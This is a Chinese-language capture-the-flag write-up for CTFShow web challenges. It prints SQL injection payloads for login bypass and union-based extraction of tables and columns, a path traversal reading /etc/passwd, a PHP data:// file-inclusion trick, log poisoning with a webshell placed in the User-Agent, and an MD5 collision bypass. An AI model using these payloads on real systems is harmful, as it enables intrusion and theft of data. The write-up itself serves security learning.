CTFShow-WEB(签到题~5) WP

文章目录

  • web签到题
  • web2
  • web3
  • web4
  • web5

web签到题

F12查看源码即可
CTFShow-WEB(签到题~5) WP_第1张图片

web2

尝试万能密码 admin'or 1=1#
CTFShow-WEB(签到题~5) WP_第2张图片
1.order by查找回显数

username=ctfshow' order by 3 #&password=1
username=ctfshow' order by 4 #&password=1

结果:在3时正常回显,4是无回显,说明回显数为3
CTFShow-WEB(签到题~5) WP_第3张图片
2.使用union select 联合查询爆库名

username=ctfshow' union select 1,database(),3#&password=1

结果:发现数据库是web2
CTFShow-WEB(签到题~5) WP_第4张图片
3.爆表名:

username=ctfshow' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() #&password=1

CTFShow-WEB(签到题~5) WP_第5张图片
4.爆字段:

username=ctfshow' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'#&password=1

CTFShow-WEB(签到题~5) WP_第6张图片
5.爆flag:

username=ctfshow' union select 1,group_concat(flag),3 from flag #&password=1

CTFShow-WEB(签到题~5) WP_第7张图片

web3

考察:PHP伪协议+文件包含
PHP伪协议:https://blog.csdn.net/nzjdsds/article/details/82461043
文件包含漏洞:https://segmentfault.com/a/1190000016042983

1.提示是文件包含漏洞,在url后加/?url=../../../../../../../../../../etc/passwd测试成功
CTFShow-WEB(签到题~5) WP_第8张图片
2.在url后加/?url=data://text/plain,,php伪协议中的data通过通配符查找目录下的所有文件(也可以使用使用php://input协议)
CTFShow-WEB(签到题~5) WP_第9张图片
3.在url后加/?ctf_go_go_go,查看文件即可得到
CTFShow-WEB(签到题~5) WP_第10张图片

web4

考察:日志注入
1.在url后加/?url=php回显error
结果:url过滤了php
CTFShow-WEB(签到题~5) WP_第11张图片
2.用burp抓包,并把UA修改为一句话木马
CTFShow-WEB(签到题~5) WP_第12张图片
3.通过查看包的请求头得知服务器为nginx
CTFShow-WEB(签到题~5) WP_第13张图片
4.用蚁剑连接
知识点:nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log
CTFShow-WEB(签到题~5) WP_第14张图片
5.找到flag
CTFShow-WEB(签到题~5) WP_第15张图片

web5

1.查看给出的代码得知,存在MD5碰撞漏洞
CTFShow-WEB(签到题~5) WP_第16张图片
2.随便找一组MD5碰撞即可
CTFShow-WEB(签到题~5) WP_第17张图片

你可能感兴趣的:(CTF,web安全)